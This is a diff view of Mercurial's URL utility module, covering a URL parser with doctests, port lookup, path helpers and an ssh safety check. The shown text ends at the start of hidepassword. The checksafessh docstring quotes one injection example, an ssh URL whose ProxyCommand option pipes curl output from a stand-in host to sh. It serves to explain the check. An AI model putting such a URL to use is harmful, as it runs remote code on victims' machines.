Show More
@@ -1,966 +1,972 b'' | |||||
1 | # utils.urlutil - code related to [paths] management |
|
1 | # utils.urlutil - code related to [paths] management | |
2 | # |
|
2 | # | |
3 | # Copyright 2005-2022 Olivia Mackall <olivia@selenic.com> and others |
|
3 | # Copyright 2005-2022 Olivia Mackall <olivia@selenic.com> and others | |
4 | # |
|
4 | # | |
5 | # This software may be used and distributed according to the terms of the |
|
5 | # This software may be used and distributed according to the terms of the | |
6 | # GNU General Public License version 2 or any later version. |
|
6 | # GNU General Public License version 2 or any later version. | |
7 | import os |
|
7 | import os | |
8 | import re as remod |
|
8 | import re as remod | |
9 | import socket |
|
9 | import socket | |
10 |
|
10 | |||
11 | from ..i18n import _ |
|
11 | from ..i18n import _ | |
12 | from ..pycompat import ( |
|
12 | from ..pycompat import ( | |
13 | getattr, |
|
13 | getattr, | |
14 | setattr, |
|
14 | setattr, | |
15 | ) |
|
15 | ) | |
16 | from .. import ( |
|
16 | from .. import ( | |
17 | encoding, |
|
17 | encoding, | |
18 | error, |
|
18 | error, | |
19 | pycompat, |
|
19 | pycompat, | |
20 | urllibcompat, |
|
20 | urllibcompat, | |
21 | ) |
|
21 | ) | |
22 |
|
22 | |||
23 | from . import ( |
|
23 | from . import ( | |
24 | stringutil, |
|
24 | stringutil, | |
25 | ) |
|
25 | ) | |
26 |
|
26 | |||
27 |
|
27 | |||
28 | if pycompat.TYPE_CHECKING: |
|
28 | if pycompat.TYPE_CHECKING: | |
29 | from typing import ( |
|
29 | from typing import ( | |
30 | Union, |
|
30 | Union, | |
31 | ) |
|
31 | ) | |
32 |
|
32 | |||
33 | urlreq = urllibcompat.urlreq |
|
33 | urlreq = urllibcompat.urlreq | |
34 |
|
34 | |||
35 |
|
35 | |||
36 | def getport(port): |
|
36 | def getport(port): | |
37 | # type: (Union[bytes, int]) -> int |
|
37 | # type: (Union[bytes, int]) -> int | |
38 | """Return the port for a given network service. |
|
38 | """Return the port for a given network service. | |
39 |
|
39 | |||
40 | If port is an integer, it's returned as is. If it's a string, it's |
|
40 | If port is an integer, it's returned as is. If it's a string, it's | |
41 | looked up using socket.getservbyname(). If there's no matching |
|
41 | looked up using socket.getservbyname(). If there's no matching | |
42 | service, error.Abort is raised. |
|
42 | service, error.Abort is raised. | |
43 | """ |
|
43 | """ | |
44 | try: |
|
44 | try: | |
45 | return int(port) |
|
45 | return int(port) | |
46 | except ValueError: |
|
46 | except ValueError: | |
47 | pass |
|
47 | pass | |
48 |
|
48 | |||
49 | try: |
|
49 | try: | |
50 | return socket.getservbyname(pycompat.sysstr(port)) |
|
50 | return socket.getservbyname(pycompat.sysstr(port)) | |
51 | except socket.error: |
|
51 | except socket.error: | |
52 | raise error.Abort( |
|
52 | raise error.Abort( | |
53 | _(b"no port number associated with service '%s'") % port |
|
53 | _(b"no port number associated with service '%s'") % port | |
54 | ) |
|
54 | ) | |
55 |
|
55 | |||
56 |
|
56 | |||
57 | class url: |
|
57 | class url: | |
58 | r"""Reliable URL parser. |
|
58 | r"""Reliable URL parser. | |
59 |
|
59 | |||
60 | This parses URLs and provides attributes for the following |
|
60 | This parses URLs and provides attributes for the following | |
61 | components: |
|
61 | components: | |
62 |
|
62 | |||
63 | <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment> |
|
63 | <scheme>://<user>:<passwd>@<host>:<port>/<path>?<query>#<fragment> | |
64 |
|
64 | |||
65 | Missing components are set to None. The only exception is |
|
65 | Missing components are set to None. The only exception is | |
66 | fragment, which is set to '' if present but empty. |
|
66 | fragment, which is set to '' if present but empty. | |
67 |
|
67 | |||
68 | If parsefragment is False, fragment is included in query. If |
|
68 | If parsefragment is False, fragment is included in query. If | |
69 | parsequery is False, query is included in path. If both are |
|
69 | parsequery is False, query is included in path. If both are | |
70 | False, both fragment and query are included in path. |
|
70 | False, both fragment and query are included in path. | |
71 |
|
71 | |||
72 | See http://www.ietf.org/rfc/rfc2396.txt for more information. |
|
72 | See http://www.ietf.org/rfc/rfc2396.txt for more information. | |
73 |
|
73 | |||
74 | Note that for backward compatibility reasons, bundle URLs do not |
|
74 | Note that for backward compatibility reasons, bundle URLs do not | |
75 | take host names. That means 'bundle://../' has a path of '../'. |
|
75 | take host names. That means 'bundle://../' has a path of '../'. | |
76 |
|
76 | |||
77 | Examples: |
|
77 | Examples: | |
78 |
|
78 | |||
79 | >>> url(b'http://www.ietf.org/rfc/rfc2396.txt') |
|
79 | >>> url(b'http://www.ietf.org/rfc/rfc2396.txt') | |
80 | <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'> |
|
80 | <url scheme: 'http', host: 'www.ietf.org', path: 'rfc/rfc2396.txt'> | |
81 | >>> url(b'ssh://[::1]:2200//home/joe/repo') |
|
81 | >>> url(b'ssh://[::1]:2200//home/joe/repo') | |
82 | <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'> |
|
82 | <url scheme: 'ssh', host: '[::1]', port: '2200', path: '/home/joe/repo'> | |
83 | >>> url(b'file:///home/joe/repo') |
|
83 | >>> url(b'file:///home/joe/repo') | |
84 | <url scheme: 'file', path: '/home/joe/repo'> |
|
84 | <url scheme: 'file', path: '/home/joe/repo'> | |
85 | >>> url(b'file:///c:/temp/foo/') |
|
85 | >>> url(b'file:///c:/temp/foo/') | |
86 | <url scheme: 'file', path: 'c:/temp/foo/'> |
|
86 | <url scheme: 'file', path: 'c:/temp/foo/'> | |
87 | >>> url(b'bundle:foo') |
|
87 | >>> url(b'bundle:foo') | |
88 | <url scheme: 'bundle', path: 'foo'> |
|
88 | <url scheme: 'bundle', path: 'foo'> | |
89 | >>> url(b'bundle://../foo') |
|
89 | >>> url(b'bundle://../foo') | |
90 | <url scheme: 'bundle', path: '../foo'> |
|
90 | <url scheme: 'bundle', path: '../foo'> | |
91 | >>> url(br'c:\foo\bar') |
|
91 | >>> url(br'c:\foo\bar') | |
92 | <url path: 'c:\\foo\\bar'> |
|
92 | <url path: 'c:\\foo\\bar'> | |
93 | >>> url(br'\\blah\blah\blah') |
|
93 | >>> url(br'\\blah\blah\blah') | |
94 | <url path: '\\\\blah\\blah\\blah'> |
|
94 | <url path: '\\\\blah\\blah\\blah'> | |
95 | >>> url(br'\\blah\blah\blah#baz') |
|
95 | >>> url(br'\\blah\blah\blah#baz') | |
96 | <url path: '\\\\blah\\blah\\blah', fragment: 'baz'> |
|
96 | <url path: '\\\\blah\\blah\\blah', fragment: 'baz'> | |
97 | >>> url(br'file:///C:\users\me') |
|
97 | >>> url(br'file:///C:\users\me') | |
98 | <url scheme: 'file', path: 'C:\\users\\me'> |
|
98 | <url scheme: 'file', path: 'C:\\users\\me'> | |
99 |
|
99 | |||
100 | Authentication credentials: |
|
100 | Authentication credentials: | |
101 |
|
101 | |||
102 | >>> url(b'ssh://joe:xyz@x/repo') |
|
102 | >>> url(b'ssh://joe:xyz@x/repo') | |
103 | <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'> |
|
103 | <url scheme: 'ssh', user: 'joe', passwd: 'xyz', host: 'x', path: 'repo'> | |
104 | >>> url(b'ssh://joe@x/repo') |
|
104 | >>> url(b'ssh://joe@x/repo') | |
105 | <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'> |
|
105 | <url scheme: 'ssh', user: 'joe', host: 'x', path: 'repo'> | |
106 |
|
106 | |||
107 | Query strings and fragments: |
|
107 | Query strings and fragments: | |
108 |
|
108 | |||
109 | >>> url(b'http://host/a?b#c') |
|
109 | >>> url(b'http://host/a?b#c') | |
110 | <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'> |
|
110 | <url scheme: 'http', host: 'host', path: 'a', query: 'b', fragment: 'c'> | |
111 | >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False) |
|
111 | >>> url(b'http://host/a?b#c', parsequery=False, parsefragment=False) | |
112 | <url scheme: 'http', host: 'host', path: 'a?b#c'> |
|
112 | <url scheme: 'http', host: 'host', path: 'a?b#c'> | |
113 |
|
113 | |||
114 | Empty path: |
|
114 | Empty path: | |
115 |
|
115 | |||
116 | >>> url(b'') |
|
116 | >>> url(b'') | |
117 | <url path: ''> |
|
117 | <url path: ''> | |
118 | >>> url(b'#a') |
|
118 | >>> url(b'#a') | |
119 | <url path: '', fragment: 'a'> |
|
119 | <url path: '', fragment: 'a'> | |
120 | >>> url(b'http://host/') |
|
120 | >>> url(b'http://host/') | |
121 | <url scheme: 'http', host: 'host', path: ''> |
|
121 | <url scheme: 'http', host: 'host', path: ''> | |
122 | >>> url(b'http://host/#a') |
|
122 | >>> url(b'http://host/#a') | |
123 | <url scheme: 'http', host: 'host', path: '', fragment: 'a'> |
|
123 | <url scheme: 'http', host: 'host', path: '', fragment: 'a'> | |
124 |
|
124 | |||
125 | Only scheme: |
|
125 | Only scheme: | |
126 |
|
126 | |||
127 | >>> url(b'http:') |
|
127 | >>> url(b'http:') | |
128 | <url scheme: 'http'> |
|
128 | <url scheme: 'http'> | |
129 | """ |
|
129 | """ | |
130 |
|
130 | |||
131 | _safechars = b"!~*'()+" |
|
131 | _safechars = b"!~*'()+" | |
132 | _safepchars = b"/!~*'()+:\\" |
|
132 | _safepchars = b"/!~*'()+:\\" | |
133 | _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match |
|
133 | _matchscheme = remod.compile(b'^[a-zA-Z0-9+.\\-]+:').match | |
134 |
|
134 | |||
135 | def __init__(self, path, parsequery=True, parsefragment=True): |
|
135 | def __init__(self, path, parsequery=True, parsefragment=True): | |
136 | # type: (bytes, bool, bool) -> None |
|
136 | # type: (bytes, bool, bool) -> None | |
137 | # We slowly chomp away at path until we have only the path left |
|
137 | # We slowly chomp away at path until we have only the path left | |
138 | self.scheme = self.user = self.passwd = self.host = None |
|
138 | self.scheme = self.user = self.passwd = self.host = None | |
139 | self.port = self.path = self.query = self.fragment = None |
|
139 | self.port = self.path = self.query = self.fragment = None | |
140 | self._localpath = True |
|
140 | self._localpath = True | |
141 | self._hostport = b'' |
|
141 | self._hostport = b'' | |
142 | self._origpath = path |
|
142 | self._origpath = path | |
143 |
|
143 | |||
144 | if parsefragment and b'#' in path: |
|
144 | if parsefragment and b'#' in path: | |
145 | path, self.fragment = path.split(b'#', 1) |
|
145 | path, self.fragment = path.split(b'#', 1) | |
146 |
|
146 | |||
147 | # special case for Windows drive letters and UNC paths |
|
147 | # special case for Windows drive letters and UNC paths | |
148 | if hasdriveletter(path) or path.startswith(b'\\\\'): |
|
148 | if hasdriveletter(path) or path.startswith(b'\\\\'): | |
149 | self.path = path |
|
149 | self.path = path | |
150 | return |
|
150 | return | |
151 |
|
151 | |||
152 | # For compatibility reasons, we can't handle bundle paths as |
|
152 | # For compatibility reasons, we can't handle bundle paths as | |
153 | # normal URLS |
|
153 | # normal URLS | |
154 | if path.startswith(b'bundle:'): |
|
154 | if path.startswith(b'bundle:'): | |
155 | self.scheme = b'bundle' |
|
155 | self.scheme = b'bundle' | |
156 | path = path[7:] |
|
156 | path = path[7:] | |
157 | if path.startswith(b'//'): |
|
157 | if path.startswith(b'//'): | |
158 | path = path[2:] |
|
158 | path = path[2:] | |
159 | self.path = path |
|
159 | self.path = path | |
160 | return |
|
160 | return | |
161 |
|
161 | |||
162 | if self._matchscheme(path): |
|
162 | if self._matchscheme(path): | |
163 | parts = path.split(b':', 1) |
|
163 | parts = path.split(b':', 1) | |
164 | if parts[0]: |
|
164 | if parts[0]: | |
165 | self.scheme, path = parts |
|
165 | self.scheme, path = parts | |
166 | self._localpath = False |
|
166 | self._localpath = False | |
167 |
|
167 | |||
168 | if not path: |
|
168 | if not path: | |
169 | path = None |
|
169 | path = None | |
170 | if self._localpath: |
|
170 | if self._localpath: | |
171 | self.path = b'' |
|
171 | self.path = b'' | |
172 | return |
|
172 | return | |
173 | else: |
|
173 | else: | |
174 | if self._localpath: |
|
174 | if self._localpath: | |
175 | self.path = path |
|
175 | self.path = path | |
176 | return |
|
176 | return | |
177 |
|
177 | |||
178 | if parsequery and b'?' in path: |
|
178 | if parsequery and b'?' in path: | |
179 | path, self.query = path.split(b'?', 1) |
|
179 | path, self.query = path.split(b'?', 1) | |
180 | if not path: |
|
180 | if not path: | |
181 | path = None |
|
181 | path = None | |
182 | if not self.query: |
|
182 | if not self.query: | |
183 | self.query = None |
|
183 | self.query = None | |
184 |
|
184 | |||
185 | # // is required to specify a host/authority |
|
185 | # // is required to specify a host/authority | |
186 | if path and path.startswith(b'//'): |
|
186 | if path and path.startswith(b'//'): | |
187 | parts = path[2:].split(b'/', 1) |
|
187 | parts = path[2:].split(b'/', 1) | |
188 | if len(parts) > 1: |
|
188 | if len(parts) > 1: | |
189 | self.host, path = parts |
|
189 | self.host, path = parts | |
190 | else: |
|
190 | else: | |
191 | self.host = parts[0] |
|
191 | self.host = parts[0] | |
192 | path = None |
|
192 | path = None | |
193 | if not self.host: |
|
193 | if not self.host: | |
194 | self.host = None |
|
194 | self.host = None | |
195 | # path of file:///d is /d |
|
195 | # path of file:///d is /d | |
196 | # path of file:///d:/ is d:/, not /d:/ |
|
196 | # path of file:///d:/ is d:/, not /d:/ | |
197 | if path and not hasdriveletter(path): |
|
197 | if path and not hasdriveletter(path): | |
198 | path = b'/' + path |
|
198 | path = b'/' + path | |
199 |
|
199 | |||
200 | if self.host and b'@' in self.host: |
|
200 | if self.host and b'@' in self.host: | |
201 | self.user, self.host = self.host.rsplit(b'@', 1) |
|
201 | self.user, self.host = self.host.rsplit(b'@', 1) | |
202 | if b':' in self.user: |
|
202 | if b':' in self.user: | |
203 | self.user, self.passwd = self.user.split(b':', 1) |
|
203 | self.user, self.passwd = self.user.split(b':', 1) | |
204 | if not self.host: |
|
204 | if not self.host: | |
205 | self.host = None |
|
205 | self.host = None | |
206 |
|
206 | |||
207 | # Don't split on colons in IPv6 addresses without ports |
|
207 | # Don't split on colons in IPv6 addresses without ports | |
208 | if ( |
|
208 | if ( | |
209 | self.host |
|
209 | self.host | |
210 | and b':' in self.host |
|
210 | and b':' in self.host | |
211 | and not ( |
|
211 | and not ( | |
212 | self.host.startswith(b'[') and self.host.endswith(b']') |
|
212 | self.host.startswith(b'[') and self.host.endswith(b']') | |
213 | ) |
|
213 | ) | |
214 | ): |
|
214 | ): | |
215 | self._hostport = self.host |
|
215 | self._hostport = self.host | |
216 | self.host, self.port = self.host.rsplit(b':', 1) |
|
216 | self.host, self.port = self.host.rsplit(b':', 1) | |
217 | if not self.host: |
|
217 | if not self.host: | |
218 | self.host = None |
|
218 | self.host = None | |
219 |
|
219 | |||
220 | if ( |
|
220 | if ( | |
221 | self.host |
|
221 | self.host | |
222 | and self.scheme == b'file' |
|
222 | and self.scheme == b'file' | |
223 | and self.host not in (b'localhost', b'127.0.0.1', b'[::1]') |
|
223 | and self.host not in (b'localhost', b'127.0.0.1', b'[::1]') | |
224 | ): |
|
224 | ): | |
225 | raise error.Abort( |
|
225 | raise error.Abort( | |
226 | _(b'file:// URLs can only refer to localhost') |
|
226 | _(b'file:// URLs can only refer to localhost') | |
227 | ) |
|
227 | ) | |
228 |
|
228 | |||
229 | self.path = path |
|
229 | self.path = path | |
230 |
|
230 | |||
231 | # leave the query string escaped |
|
231 | # leave the query string escaped | |
232 | for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'): |
|
232 | for a in (b'user', b'passwd', b'host', b'port', b'path', b'fragment'): | |
233 | v = getattr(self, a) |
|
233 | v = getattr(self, a) | |
234 | if v is not None: |
|
234 | if v is not None: | |
235 | setattr(self, a, urlreq.unquote(v)) |
|
235 | setattr(self, a, urlreq.unquote(v)) | |
236 |
|
236 | |||
237 | def copy(self): |
|
237 | def copy(self): | |
238 | u = url(b'temporary useless value') |
|
238 | u = url(b'temporary useless value') | |
239 | u.path = self.path |
|
239 | u.path = self.path | |
240 | u.scheme = self.scheme |
|
240 | u.scheme = self.scheme | |
241 | u.user = self.user |
|
241 | u.user = self.user | |
242 | u.passwd = self.passwd |
|
242 | u.passwd = self.passwd | |
243 | u.host = self.host |
|
243 | u.host = self.host | |
244 | u.path = self.path |
|
244 | u.path = self.path | |
245 | u.query = self.query |
|
245 | u.query = self.query | |
246 | u.fragment = self.fragment |
|
246 | u.fragment = self.fragment | |
247 | u._localpath = self._localpath |
|
247 | u._localpath = self._localpath | |
248 | u._hostport = self._hostport |
|
248 | u._hostport = self._hostport | |
249 | u._origpath = self._origpath |
|
249 | u._origpath = self._origpath | |
250 | return u |
|
250 | return u | |
251 |
|
251 | |||
252 | @encoding.strmethod |
|
252 | @encoding.strmethod | |
253 | def __repr__(self): |
|
253 | def __repr__(self): | |
254 | attrs = [] |
|
254 | attrs = [] | |
255 | for a in ( |
|
255 | for a in ( | |
256 | b'scheme', |
|
256 | b'scheme', | |
257 | b'user', |
|
257 | b'user', | |
258 | b'passwd', |
|
258 | b'passwd', | |
259 | b'host', |
|
259 | b'host', | |
260 | b'port', |
|
260 | b'port', | |
261 | b'path', |
|
261 | b'path', | |
262 | b'query', |
|
262 | b'query', | |
263 | b'fragment', |
|
263 | b'fragment', | |
264 | ): |
|
264 | ): | |
265 | v = getattr(self, a) |
|
265 | v = getattr(self, a) | |
266 | if v is not None: |
|
266 | if v is not None: | |
267 | attrs.append(b'%s: %r' % (a, pycompat.bytestr(v))) |
|
267 | attrs.append(b'%s: %r' % (a, pycompat.bytestr(v))) | |
268 | return b'<url %s>' % b', '.join(attrs) |
|
268 | return b'<url %s>' % b', '.join(attrs) | |
269 |
|
269 | |||
270 | def __bytes__(self): |
|
270 | def __bytes__(self): | |
271 | r"""Join the URL's components back into a URL string. |
|
271 | r"""Join the URL's components back into a URL string. | |
272 |
|
272 | |||
273 | Examples: |
|
273 | Examples: | |
274 |
|
274 | |||
275 | >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) |
|
275 | >>> bytes(url(b'http://user:pw@host:80/c:/bob?fo:oo#ba:ar')) | |
276 | 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' |
|
276 | 'http://user:pw@host:80/c:/bob?fo:oo#ba:ar' | |
277 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42')) |
|
277 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar&baz=42')) | |
278 | 'http://user:pw@host:80/?foo=bar&baz=42' |
|
278 | 'http://user:pw@host:80/?foo=bar&baz=42' | |
279 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz')) |
|
279 | >>> bytes(url(b'http://user:pw@host:80/?foo=bar%3dbaz')) | |
280 | 'http://user:pw@host:80/?foo=bar%3dbaz' |
|
280 | 'http://user:pw@host:80/?foo=bar%3dbaz' | |
281 | >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#')) |
|
281 | >>> bytes(url(b'ssh://user:pw@[::1]:2200//home/joe#')) | |
282 | 'ssh://user:pw@[::1]:2200//home/joe#' |
|
282 | 'ssh://user:pw@[::1]:2200//home/joe#' | |
283 | >>> bytes(url(b'http://localhost:80//')) |
|
283 | >>> bytes(url(b'http://localhost:80//')) | |
284 | 'http://localhost:80//' |
|
284 | 'http://localhost:80//' | |
285 | >>> bytes(url(b'http://localhost:80/')) |
|
285 | >>> bytes(url(b'http://localhost:80/')) | |
286 | 'http://localhost:80/' |
|
286 | 'http://localhost:80/' | |
287 | >>> bytes(url(b'http://localhost:80')) |
|
287 | >>> bytes(url(b'http://localhost:80')) | |
288 | 'http://localhost:80/' |
|
288 | 'http://localhost:80/' | |
289 | >>> bytes(url(b'bundle:foo')) |
|
289 | >>> bytes(url(b'bundle:foo')) | |
290 | 'bundle:foo' |
|
290 | 'bundle:foo' | |
291 | >>> bytes(url(b'bundle://../foo')) |
|
291 | >>> bytes(url(b'bundle://../foo')) | |
292 | 'bundle:../foo' |
|
292 | 'bundle:../foo' | |
293 | >>> bytes(url(b'path')) |
|
293 | >>> bytes(url(b'path')) | |
294 | 'path' |
|
294 | 'path' | |
295 | >>> bytes(url(b'file:///tmp/foo/bar')) |
|
295 | >>> bytes(url(b'file:///tmp/foo/bar')) | |
296 | 'file:///tmp/foo/bar' |
|
296 | 'file:///tmp/foo/bar' | |
297 | >>> bytes(url(b'file:///c:/tmp/foo/bar')) |
|
297 | >>> bytes(url(b'file:///c:/tmp/foo/bar')) | |
298 | 'file:///c:/tmp/foo/bar' |
|
298 | 'file:///c:/tmp/foo/bar' | |
299 | >>> print(url(br'bundle:foo\bar')) |
|
299 | >>> print(url(br'bundle:foo\bar')) | |
300 | bundle:foo\bar |
|
300 | bundle:foo\bar | |
301 | >>> print(url(br'file:///D:\data\hg')) |
|
301 | >>> print(url(br'file:///D:\data\hg')) | |
302 | file:///D:\data\hg |
|
302 | file:///D:\data\hg | |
303 | """ |
|
303 | """ | |
304 | if self._localpath: |
|
304 | if self._localpath: | |
305 | s = self.path |
|
305 | s = self.path | |
306 | if self.scheme == b'bundle': |
|
306 | if self.scheme == b'bundle': | |
307 | s = b'bundle:' + s |
|
307 | s = b'bundle:' + s | |
308 | if self.fragment: |
|
308 | if self.fragment: | |
309 | s += b'#' + self.fragment |
|
309 | s += b'#' + self.fragment | |
310 | return s |
|
310 | return s | |
311 |
|
311 | |||
312 | s = self.scheme + b':' |
|
312 | s = self.scheme + b':' | |
313 | if self.user or self.passwd or self.host: |
|
313 | if self.user or self.passwd or self.host: | |
314 | s += b'//' |
|
314 | s += b'//' | |
315 | elif self.scheme and ( |
|
315 | elif self.scheme and ( | |
316 | not self.path |
|
316 | not self.path | |
317 | or self.path.startswith(b'/') |
|
317 | or self.path.startswith(b'/') | |
318 | or hasdriveletter(self.path) |
|
318 | or hasdriveletter(self.path) | |
319 | ): |
|
319 | ): | |
320 | s += b'//' |
|
320 | s += b'//' | |
321 | if hasdriveletter(self.path): |
|
321 | if hasdriveletter(self.path): | |
322 | s += b'/' |
|
322 | s += b'/' | |
323 | if self.user: |
|
323 | if self.user: | |
324 | s += urlreq.quote(self.user, safe=self._safechars) |
|
324 | s += urlreq.quote(self.user, safe=self._safechars) | |
325 | if self.passwd: |
|
325 | if self.passwd: | |
326 | s += b':' + urlreq.quote(self.passwd, safe=self._safechars) |
|
326 | s += b':' + urlreq.quote(self.passwd, safe=self._safechars) | |
327 | if self.user or self.passwd: |
|
327 | if self.user or self.passwd: | |
328 | s += b'@' |
|
328 | s += b'@' | |
329 | if self.host: |
|
329 | if self.host: | |
330 | if not (self.host.startswith(b'[') and self.host.endswith(b']')): |
|
330 | if not (self.host.startswith(b'[') and self.host.endswith(b']')): | |
331 | s += urlreq.quote(self.host) |
|
331 | s += urlreq.quote(self.host) | |
332 | else: |
|
332 | else: | |
333 | s += self.host |
|
333 | s += self.host | |
334 | if self.port: |
|
334 | if self.port: | |
335 | s += b':' + urlreq.quote(self.port) |
|
335 | s += b':' + urlreq.quote(self.port) | |
336 | if self.host: |
|
336 | if self.host: | |
337 | s += b'/' |
|
337 | s += b'/' | |
338 | if self.path: |
|
338 | if self.path: | |
339 | # TODO: similar to the query string, we should not unescape the |
|
339 | # TODO: similar to the query string, we should not unescape the | |
340 | # path when we store it, the path might contain '%2f' = '/', |
|
340 | # path when we store it, the path might contain '%2f' = '/', | |
341 | # which we should *not* escape. |
|
341 | # which we should *not* escape. | |
342 | s += urlreq.quote(self.path, safe=self._safepchars) |
|
342 | s += urlreq.quote(self.path, safe=self._safepchars) | |
343 | if self.query: |
|
343 | if self.query: | |
344 | # we store the query in escaped form. |
|
344 | # we store the query in escaped form. | |
345 | s += b'?' + self.query |
|
345 | s += b'?' + self.query | |
346 | if self.fragment is not None: |
|
346 | if self.fragment is not None: | |
347 | s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars) |
|
347 | s += b'#' + urlreq.quote(self.fragment, safe=self._safepchars) | |
348 | return s |
|
348 | return s | |
349 |
|
349 | |||
350 | __str__ = encoding.strmethod(__bytes__) |
|
350 | __str__ = encoding.strmethod(__bytes__) | |
351 |
|
351 | |||
352 | def authinfo(self): |
|
352 | def authinfo(self): | |
353 | user, passwd = self.user, self.passwd |
|
353 | user, passwd = self.user, self.passwd | |
354 | try: |
|
354 | try: | |
355 | self.user, self.passwd = None, None |
|
355 | self.user, self.passwd = None, None | |
356 | s = bytes(self) |
|
356 | s = bytes(self) | |
357 | finally: |
|
357 | finally: | |
358 | self.user, self.passwd = user, passwd |
|
358 | self.user, self.passwd = user, passwd | |
359 | if not self.user: |
|
359 | if not self.user: | |
360 | return (s, None) |
|
360 | return (s, None) | |
361 | # authinfo[1] is passed to urllib2 password manager, and its |
|
361 | # authinfo[1] is passed to urllib2 password manager, and its | |
362 | # URIs must not contain credentials. The host is passed in the |
|
362 | # URIs must not contain credentials. The host is passed in the | |
363 | # URIs list because Python < 2.4.3 uses only that to search for |
|
363 | # URIs list because Python < 2.4.3 uses only that to search for | |
364 | # a password. |
|
364 | # a password. | |
365 | return (s, (None, (s, self.host), self.user, self.passwd or b'')) |
|
365 | return (s, (None, (s, self.host), self.user, self.passwd or b'')) | |
366 |
|
366 | |||
367 | def isabs(self): |
|
367 | def isabs(self): | |
368 | if self.scheme and self.scheme != b'file': |
|
368 | if self.scheme and self.scheme != b'file': | |
369 | return True # remote URL |
|
369 | return True # remote URL | |
370 | if hasdriveletter(self.path): |
|
370 | if hasdriveletter(self.path): | |
371 | return True # absolute for our purposes - can't be joined() |
|
371 | return True # absolute for our purposes - can't be joined() | |
372 | if self.path.startswith(br'\\'): |
|
372 | if self.path.startswith(br'\\'): | |
373 | return True # Windows UNC path |
|
373 | return True # Windows UNC path | |
374 | if self.path.startswith(b'/'): |
|
374 | if self.path.startswith(b'/'): | |
375 | return True # POSIX-style |
|
375 | return True # POSIX-style | |
376 | return False |
|
376 | return False | |
377 |
|
377 | |||
378 | def localpath(self): |
|
378 | def localpath(self): | |
379 | # type: () -> bytes |
|
379 | # type: () -> bytes | |
380 | if self.scheme == b'file' or self.scheme == b'bundle': |
|
380 | if self.scheme == b'file' or self.scheme == b'bundle': | |
381 | path = self.path or b'/' |
|
381 | path = self.path or b'/' | |
382 | # For Windows, we need to promote hosts containing drive |
|
382 | # For Windows, we need to promote hosts containing drive | |
383 | # letters to paths with drive letters. |
|
383 | # letters to paths with drive letters. | |
384 | if hasdriveletter(self._hostport): |
|
384 | if hasdriveletter(self._hostport): | |
385 | path = self._hostport + b'/' + self.path |
|
385 | path = self._hostport + b'/' + self.path | |
386 | elif ( |
|
386 | elif ( | |
387 | self.host is not None and self.path and not hasdriveletter(path) |
|
387 | self.host is not None and self.path and not hasdriveletter(path) | |
388 | ): |
|
388 | ): | |
389 | path = b'/' + path |
|
389 | path = b'/' + path | |
390 | return path |
|
390 | return path | |
391 | return self._origpath |
|
391 | return self._origpath | |
392 |
|
392 | |||
393 | def islocal(self): |
|
393 | def islocal(self): | |
394 | '''whether localpath will return something that posixfile can open''' |
|
394 | '''whether localpath will return something that posixfile can open''' | |
395 | return ( |
|
395 | return ( | |
396 | not self.scheme |
|
396 | not self.scheme | |
397 | or self.scheme == b'file' |
|
397 | or self.scheme == b'file' | |
398 | or self.scheme == b'bundle' |
|
398 | or self.scheme == b'bundle' | |
399 | ) |
|
399 | ) | |
400 |
|
400 | |||
401 |
|
401 | |||
402 | def hasscheme(path): |
|
402 | def hasscheme(path): | |
403 | # type: (bytes) -> bool |
|
403 | # type: (bytes) -> bool | |
404 | return bool(url(path).scheme) # cast to help pytype |
|
404 | return bool(url(path).scheme) # cast to help pytype | |
405 |
|
405 | |||
406 |
|
406 | |||
407 | def hasdriveletter(path): |
|
407 | def hasdriveletter(path): | |
408 | # type: (bytes) -> bool |
|
408 | # type: (bytes) -> bool | |
409 | return bool(path) and path[1:2] == b':' and path[0:1].isalpha() |
|
409 | return bool(path) and path[1:2] == b':' and path[0:1].isalpha() | |
410 |
|
410 | |||
411 |
|
411 | |||
412 | def urllocalpath(path): |
|
412 | def urllocalpath(path): | |
413 | # type: (bytes) -> bytes |
|
413 | # type: (bytes) -> bytes | |
414 | return url(path, parsequery=False, parsefragment=False).localpath() |
|
414 | return url(path, parsequery=False, parsefragment=False).localpath() | |
415 |
|
415 | |||
416 |
|
416 | |||
417 | def checksafessh(path): |
|
417 | def checksafessh(path): | |
418 | # type: (bytes) -> None |
|
418 | # type: (bytes) -> None | |
419 | """check if a path / url is a potentially unsafe ssh exploit (SEC) |
|
419 | """check if a path / url is a potentially unsafe ssh exploit (SEC) | |
420 |
|
420 | |||
421 | This is a sanity check for ssh urls. ssh will parse the first item as |
|
421 | This is a sanity check for ssh urls. ssh will parse the first item as | |
422 | an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. |
|
422 | an option; e.g. ssh://-oProxyCommand=curl${IFS}bad.server|sh/path. | |
423 | Let's prevent these potentially exploited urls entirely and warn the |
|
423 | Let's prevent these potentially exploited urls entirely and warn the | |
424 | user. |
|
424 | user. | |
425 |
|
425 | |||
426 | Raises an error.Abort when the url is unsafe. |
|
426 | Raises an error.Abort when the url is unsafe. | |
427 | """ |
|
427 | """ | |
428 | path = urlreq.unquote(path) |
|
428 | path = urlreq.unquote(path) | |
429 | if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'): |
|
429 | if path.startswith(b'ssh://-') or path.startswith(b'svn+ssh://-'): | |
430 | raise error.Abort( |
|
430 | raise error.Abort( | |
431 | _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),) |
|
431 | _(b'potentially unsafe url: %r') % (pycompat.bytestr(path),) | |
432 | ) |
|
432 | ) | |
433 |
|
433 | |||
434 |
|
434 | |||
435 | def hidepassword(u): |
|
435 | def hidepassword(u): | |
436 | # type: (bytes) -> bytes |
|
436 | # type: (bytes) -> bytes | |
